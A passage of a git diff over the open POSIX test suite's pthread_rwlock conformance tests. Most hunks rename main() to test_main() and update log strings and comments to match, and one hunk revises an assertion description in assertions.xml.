@@ int main(void) rd_thread_state = NOT_CREATED_THREAD; priority = sched_get_priority_min(TRD_POLICY) + 1; - printf("main: create rd_thread, with priority: %d\n", priority); + printf("test_main: create rd_thread, with priority: %d\n", priority); if (pthread_create(&rd_thread, NULL, fn_rd, (void *)(long)priority) != 0) { - printf("main: failed at creating rd_thread\n"); + printf("test_main: failed at creating rd_thread\n"); return PTS_UNRESOLVED; } @@ -213,9 +214,9 @@ int main(void) exit(PTS_UNRESOLVED); } - printf("main: unlock read lock\n"); + printf("test_main: unlock read lock\n"); if (pthread_rwlock_unlock(&rwlock) != 0) { - printf("main: failed to release read lock\n"); + printf("test_main: failed to release read lock\n"); exit(PTS_UNRESOLVED); } @@ -235,12 +236,12 @@ int main(void) } if (pthread_join(wr_thread, NULL) != 0) { - printf("main: Error at 1st pthread_join()\n"); + printf("test_main: Error at 1st pthread_join()\n"); exit(PTS_UNRESOLVED); } if (pthread_join(rd_thread, NULL) != 0) { - printf("main: Error at 2nd pthread_join()\n"); + printf("test_main: Error at 2nd pthread_join()\n"); exit(PTS_UNRESOLVED); } diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/4-1.c index 17626271..b9ea4f90 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/4-1.c @@ -86,7 +86,7 @@ static void *th_fn(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int cnt; handler_called = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/5-1.c index a37b0679..faa01c14 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/5-1.c @@ -23,7 +23,7 @@ #define COUNT 10 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { static pthread_rwlock_t rwlock; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/assertions.xml b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/assertions.xml index 07263b3d..deb318cb 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/assertions.xml +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/assertions.xml @@ -6,13 +6,14 @@ no writers blocked on the lock. </assertion> - <assertion id="2" tag="ref:XSH6:34768:34771"> - If the Thread Execution Scheduling option is supported, - and the threads involved in the lock are executing with the - scheduling policies SCHED_FIFO or SCHED_RR, the calling thread shall not - acquire the lock if a writer holds the lock or if writers of - higher or equal priority are blocked on the lock; - otherwise, the calling thread shall acquire the lock. + <assertion id="2" tag="ref:XSH8:{System Interfaces:pthread_rwlock_rdlock:DESCRIPTION}"> + If the Thread Execution Scheduling option is supported, + and the threads that hold or are blocked on the lock are + executing with the scheduling policies SCHED_FIFO or SCHED_RR, + the calling thread shall not acquire the lock if a writer + holds the lock or if the calling thread does not already hold + a read lock and writers of higher or equal priority are blocked + on the lock; otherwise, the calling thread shall acquire the lock. </assertion> <assertion id="3" tag="ref:XSH6:34772:34775"> diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/1-1.c index f13e8c41..38b6a9de 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/1-1.c @@ -84,7 +84,7 @@ static void *fn_rd(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int cnt = 0; pthread_t rd_thread1, rd_thread2; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/2-1.c index 2e57403a..26331326 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/2-1.c @@ -84,7 +84,7 @@ static void *fn_rd(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int cnt = 0; pthread_t thread1; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/3-1.c index 2585fddc..ba240fd2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/3-1.c @@ -98,7 +98,7 @@ static void *fn_rd(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int cnt = 0; pthread_t rd_thread1, rd_thread2; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/5-1.c index da48575e..9277c0a6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/5-1.c @@ -127,7 +127,7 @@ static void *fn_rd_2(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int cnt = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/6-1.c index ba09b981..70560e26 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/6-1.c @@ -105,7 +105,7 @@ static void *th_fn(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int cnt; struct timeval wait_time; @@ -115,12 +115,12 @@ int main(void) return PTS_UNRESOLVED; } - printf("main: attempt write lock\n"); + printf("test_main: attempt write lock\n"); if (pthread_rwlock_wrlock(&rwlock) != 0) { - printf("main: Error at pthread_rwlock_wrlock()\n"); + printf("test_main: Error at pthread_rwlock_wrlock()\n"); return PTS_UNRESOLVED; } - printf("main: acquired write lock\n"); + printf("test_main: acquired write lock\n"); thread_state = NOT_CREATED_THREAD; if (pthread_create(&sig_thread, NULL, th_fn, NULL) != 0) { @@ -128,8 +128,9 @@ int main(void) return PTS_UNRESOLVED; } - /* Wait for the thread to get ready for handling signal (the thread should - * be block on rwlock since main() has the write lock at this point) */ + /* Wait for the thread to get ready for handling signal (the thread + * should be block on rwlock since test_main() has the write lock + * at this point) */ cnt = 0; do { sleep(1); @@ -140,9 +141,9 @@ int main(void) exit(PTS_UNRESOLVED); } - printf("main: fire SIGUSR1 to thread\n"); + printf("test_main: fire SIGUSR1 to thread\n"); if (pthread_kill(sig_thread, SIGUSR1) != 0) { - printf("main: Error at pthread_kill()\n"); + printf("test_main: Error at pthread_kill()\n"); exit(PTS_UNRESOLVED); } @@ -179,14 +180,14 @@ int main(void) exit(PTS_FAIL); } - printf("main: unlock write lock\n"); + printf("test_main: unlock write lock\n"); if (pthread_rwlock_unlock(&rwlock) != 0) { - printf("main: Error at pthread_rwlock_unlock()\n"); + printf("test_main: Error at pthread_rwlock_unlock()\n"); return PTS_UNRESOLVED; } if (pthread_join(sig_thread, NULL) != 0) { - printf("main: Error at pthread_join()\n"); + printf("test_main: Error at pthread_join()\n"); return PTS_UNRESOLVED; } diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/6-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/6-2.c index d3f812b4..b1e6c06d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/6-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/6-2.c @@ -120,7 +120,7 @@ static void *th_fn(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int cnt; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/1-1.c index cdf9d607..d22aa3e3 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/1-1.c @@ -88,7 +88,7 @@ static void *fn_wr(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int cnt = 0; pthread_t thread0, thread1, thread2; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/2-1.c index 5bf76b8d..d104097d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/2-1.c @@ -89,7 +89,7 @@ static void *fn(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int cnt = 0; pthread_t thread1; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/3-1.c index 9dd3f709..58714095 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/3-1.c @@ -108,7 +108,7 @@ static void *fn_wr(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int cnt = 0; pthread_t thread0, thread1, thread2; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/5-1.c index 53a192fb..5cb135b1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/5-1.c @@ -133,7 +133,7 @@ static void *fn_wr_2(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int cnt = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/6-1.c index 8253485d..820067fb 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/6-1.c @@ -105,7 +105,7 @@ static void *th_fn(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int cnt; struct timeval time_diff; @@ -115,12 +115,12 @@ int main(void) return PTS_UNRESOLVED; } - printf("main: attempt write lock\n"); + printf("test_main: attempt write lock\n"); if (pthread_rwlock_wrlock(&rwlock) != 0) { - printf("main: Error at pthread_rwlock_wrlock()\n"); + printf("test_main: Error at pthread_rwlock_wrlock()\n"); return PTS_UNRESOLVED; } - printf("main: acquired write lock\n"); + printf("test_main: acquired write lock\n"); thread_state = NOT_CREATED_THREAD; if (pthread_create(&sig_thread, NULL, th_fn, NULL) != 0) { @@ -128,8 +128,9 @@ int main(void) return PTS_UNRESOLVED; } - /* Wait for the thread to get ready for handling signal (the thread should - * be block on rwlock since main() has the write lock at this point) */ + /* Wait for the thread to get ready for handling signal (the thread + * should be block on rwlock since test_main() has the write lock + * at this point) */ cnt = 0; do { sleep(1); @@ -140,9 +141,9 @@ int main(void) exit(PTS_UNRESOLVED); } - printf("main: fire SIGUSR1 to thread\n"); + printf("test_main: fire SIGUSR1 to thread\n"); if (pthread_kill(sig_thread, SIGUSR1) != 0) { - printf("main: Error at pthread_kill()\n"); + printf("test_main: Error at pthread_kill()\n"); exit(PTS_UNRESOLVED); } @@ -178,14 +179,14 @@ int main(void) exit(PTS_FAIL); } - printf("main: unlock write lock\n"); + printf("test_main: unlock write lock\n"); if (pthread_rwlock_unlock(&rwlock) != 0) { - printf("main: Error at pthread_rwlock_unlock()\n"); + printf("test_main: Error at pthread_rwlock_unlock()\n"); return PTS_UNRESOLVED; } if (pthread_join(sig_thread, NULL) != 0) { - printf("main: Error at pthread_join()\n"); + printf("test_main: Error at pthread_join()\n"); return PTS_UNRESOLVED; } diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/6-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/6-2.c index e9949f85..6b685bbf 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/6-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/6-2.c @@ -120,7 +120,7 @@ static void *th_fn(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int cnt; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_tryrdlock/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_tryrdlock/1-1.c index d107d80d..6a33d223 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_tryrdlock/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_tryrdlock/1-1.c @@ -83,7 +83,7 @@ static void *fn_rd_2(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int cnt = 0; int rc = 0; @@ -91,26 +91,26 @@ int main(void) pthread_t rd_thread1, rd_thread2; if (pthread_rwlock_init(&rwlock, NULL) != 0) { - printf("main: Error at pthrad_rwlock_init()\n"); + printf("test_main: Error at pthrad_rwlock_init()\n"); return PTS_UNRESOLVED; } - printf("main: attempt pthread_rwlock_tryrdlock\n"); + printf("test_main: attempt pthread_rwlock_tryrdlock\n"); /* We have no lock, this read lock should succeed */ rc = pthread_rwlock_tryrdlock(&rwlock); if (rc != 0) { printf - ("Test FAILED: in main() at pthread_rwlock_tryrdlock, error code:%d\n", + ("Test FAILED: in test_main() at pthread_rwlock_tryrdlock, error code:%d\n", rc); return PTS_FAIL; } - printf("main: acquired read lock\n"); + printf("test_main: acquired read lock\n"); thread_state = NOT_CREATED_THREAD; - printf("main: create rd_thread1\n"); + printf("test_main: create rd_thread1\n"); if (pthread_create(&rd_thread1, NULL, fn_rd_1, NULL) != 0) { - printf("main: Error at creating rd_thread1\n"); + printf("test_main: Error at creating rd_thread1\n"); return PTS_UNRESOLVED; } @@ -134,30 +134,30 @@ int main(void) return PTS_UNRESOLVED; } - printf("main: unlock read lock\n"); + printf("test_main: unlock read lock\n"); if (pthread_rwlock_unlock(&rwlock) != 0) { - printf("main: Error at pthread_rwlock_unlock\n"); + printf("test_main: Error at pthread_rwlock_unlock\n"); return PTS_UNRESOLVED; } if (pthread_join(rd_thread1, NULL) != 0) { - printf("main: Error joining rd_thread1\n"); + printf("test_main: Error joining rd_thread1\n"); return PTS_UNRESOLVED; } - printf("main: attempt write lock\n"); + printf("test_main: attempt write lock\n"); if (pthread_rwlock_wrlock(&rwlock) != 0) { - printf("main: Error getting write lock\n"); + printf("test_main: Error getting write lock\n"); return PTS_UNRESOLVED; } - printf("main: acquired write lock\n"); + printf("test_main: acquired write lock\n"); thread_state = NOT_CREATED_THREAD; cnt = 0; - printf("main: create rd_thread2\n"); + printf("test_main: create rd_thread2\n"); if (pthread_create(&rd_thread2, NULL, fn_rd_2, NULL) != 0) { - printf("main: Error at creating rd_thread2\n"); + printf("test_main: Error at creating rd_thread2\n"); return PTS_UNRESOLVED; } @@ -175,10 +175,10 @@ int main(void) return PTS_UNRESOLVED; } - printf("main: unlock write lock\n"); + printf("test_main: unlock write lock\n"); thread_state = NOT_CREATED_THREAD; if (pthread_rwlock_unlock(&rwlock) != 0) { - printf("main: Error at releasing write lock\n"); + printf("test_main: Error at releasing write lock\n"); return PTS_UNRESOLVED; } diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_trywrlock/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_trywrlock/1-1.c index b9223287..b925d872 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_trywrlock/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_trywrlock/1-1.c @@ -60,7 +60,7 @@ static void *fn_wr(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int cnt = 0; int rc = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_trywrlock/speculative/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_trywrlock/speculative/3-1.c index cc0d3a29..61d394e1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_trywrlock/speculative/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_trywrlock/speculative/3-1.c @@ -20,7 +20,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { static pthread_rwlock_t rwlock; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/1-1.c index 624dec05..7dca2382 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/1-1.c @@ -103,7 +103,7 @@ static void *fn_rd(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int cnt = 0; int rc = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/2-1.c index b35c141c..9407349b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/2-1.c @@ -64,7 +64,7 @@ static void *fn_wr(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int cnt = 0; int rc = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/3-1.c index 81d9ec43..d73b7ef4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/3-1.c @@ -93,7 +93,7 @@ static void *fn_rd(void *arg) rd_thread_state = PASSED_LOCK; printf("reader: acquired read lock\n"); - /* Wait for main to wake us up */ + /* Wait for test_main to wake us up */ do { sleep(1); } while (rd_thread_state != EXITING_THREAD); @@ -128,7 +128,7 @@ static void *fn_wr_1(void *arg) wr_thread_state_1 = PASSED_LOCK; printf("writer1: acquired write lock\n"); - /* Wait for main to wake us up */ + /* Wait for test_main to wake us up */ do { sleep(1); @@ -165,7 +165,7 @@ static void *fn_wr_2(void *arg) wr_thread_state_2 = PASSED_LOCK; printf("writer2: acquired writer lock\n"); - /* Wait for main to wake us up */ + /* Wait for test_main to wake us up */ do { sleep(1); } while (wr_thread_state_2 != EXITING_THREAD); @@ -180,7 +180,7 @@ static void *fn_wr_2(void *arg) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #ifndef _POSIX_THREAD_PRIORITY_SCHEDULING printf("Posix Thread Execution Scheduling not supported\n"); @@ -196,15 +196,15 @@ int main(void) set_priority(pthread_self(), TRD_POLICY, priority); if (pthread_rwlock_init(&rwlock, NULL) != 0) { - printf("main: Error at pthread_rwlock_init()\n"); + printf("test_main: Error at pthread_rwlock_init()\n"); return PTS_UNRESOLVED; } - printf("main: write lock\n"); + printf("test_main: write lock\n"); /* We have no lock, this read lock should succeed */ if (pthread_rwlock_wrlock(&rwlock) != 0) { printf - ("Error: main cannot get write lock when no one owns the lock\n"); + ("Error: test_main cannot get write lock when no one owns the lock\n"); return PTS_UNRESOLVED; } @@ -212,10 +212,10 @@ int main(void) wr_thread_state_1 = NOT_CREATED_THREAD; priority = sched_get_priority_min(TRD_POLICY) + 2; - printf("main: create writer1, with priority: %d\n", priority); + printf("test_main: create writer1, with priority: %d\n", priority); if (pthread_create(&writer1, NULL, fn_wr_1, (void *)(long)priority) != 0) { - printf("main: Error creating writer1\n"); + printf("test_main: Error creating writer1\n"); return PTS_UNRESOLVED; } @@ -230,7 +230,7 @@ int main(void) if (wr_thread_state_1 == 3) { printf - ("writer1 did not block on write lock, when main owns the lock\n"); + ("writer1 did not block on write lock, when test_main owns the lock\n"); exit(PTS_UNRESOLVED); } else if (wr_thread_state_1 != 2) { printf("Unexpected writer1 state\n"); @@ -241,9 +241,9 @@ int main(void) rd_thread_state = 1; priority = sched_get_priority_min(TRD_POLICY) + 2; - printf("main: create reader, with priority: %d\n", priority); + printf("test_main: create reader, with priority: %d\n", priority); if (pthread_create(&reader, NULL, fn_rd, (void *)(long)priority) != 0) { - printf("main: failed at creating reader\n"); + printf("test_main: failed at creating reader\n"); return PTS_UNRESOLVED; } @@ -265,10 +265,10 @@ int main(void) wr_thread_state_2 = 1; priority = sched_get_priority_min(TRD_POLICY); - printf("main: create writer2, with priority: %d\n", priority); + printf("test_main: create writer2, with priority: %d\n", priority); if (pthread_create(&writer2, NULL, fn_wr_2, (void *)(long)priority) != 0) { - printf("main: Error creating writer2\n"); + printf("test_main: Error creating writer2\n"); return PTS_UNRESOLVED; } @@ -283,16 +283,16 @@ int main(void) if (wr_thread_state_2 == 3) { printf - ("writer2 did not block on write lock, when main owns the lock\n"); + ("writer2 did not block on write lock, when test_main owns the lock\n"); exit(PTS_UNRESOLVED); } else if (wr_thread_state_2 != 2) { printf("Unexpected writer1 state\n"); exit(PTS_UNRESOLVED); } - printf("main: release write lock\n"); + printf("test_main: release write lock\n"); if (pthread_rwlock_unlock(&rwlock) != 0) { - printf("main: failed to release write lock\n"); + printf("test_main: failed to release write lock\n"); exit(PTS_UNRESOLVED); } @@ -304,7 +304,7 @@ int main(void) if (wr_thread_state_1 == 2) { printf - ("Test fail: writer did not get write lock, when main release the lock\n"); + ("Test fail: writer did not get write lock, when test_main release the lock\n"); exit(PTS_FAIL); } else if (wr_thread_state_1 != 3) { printf("Unexpected writer1 state\n"); @@ -315,7 +315,7 @@ int main(void) wr_thread_state_1 = 4; if (pthread_join(writer1, NULL) != 0) { - printf("main: Error joining writer1\n"); + printf("test_main: Error joining writer1\n"); exit(PTS_UNRESOLVED); } @@ -338,7 +338,7 @@ int main(void) rd_thread_state = 4; if (pthread_join(reader, NULL) != 0) { - printf("main: Error joining reader\n"); + printf("test_main: Error joining reader\n"); exit(PTS_UNRESOLVED); } @@ -350,7 +350,7 @@ int main(void) if (wr_thread_state_2 == 2) { printf - ("Test fail: writer2 still blocked on write lock, when main release the lock\n"); + ("Test fail: writer2 still blocked on write lock, when test_main release the lock\n"); exit(PTS_FAIL); } else if (wr_thread_state_2 != 3) { printf("Unexpected writer2 state\n"); @@ -360,7 +360,7 @@ int main(void) wr_thread_state_2 = 4; if (pthread_join(writer2, NULL) != 0) { - printf("main: Error joining writer1\n"); + printf("test_main: Error joining writer1\n"); exit(PTS_UNRESOLVED); } diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/4-1.c index d4a579ed..b04e3c80 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/4-1.c @@ -26,7 +26,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { static pthread_rwlock_t rwlock; int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/4-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/4-2.c index 6b52b938..233990d9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/4-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/4-2.c @@ -50,7 +50,7 @@ static void *fn_unlk(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int cnt = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_wrlock/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_wrlock/1-1.c index 6786238e..5211cda9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_wrlock/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_wrlock/1-1.c @@ -68,7 +68,7 @@ static void *fn_wr(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int cnt = 0; pthread_t thread1, thread2; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_wrlock/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_wrlock/2-1.c index 774deb4d..8593b50f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_wrlock/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_wrlock/2-1.c @@ -87,7 +87,7 @@ static void *th_fn(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int cnt; int rc = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_wrlock/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_wrlock/3-1.c index 9086e879..94b7b5a5 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_wrlock/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_wrlock/3-1.c @@ -24,7 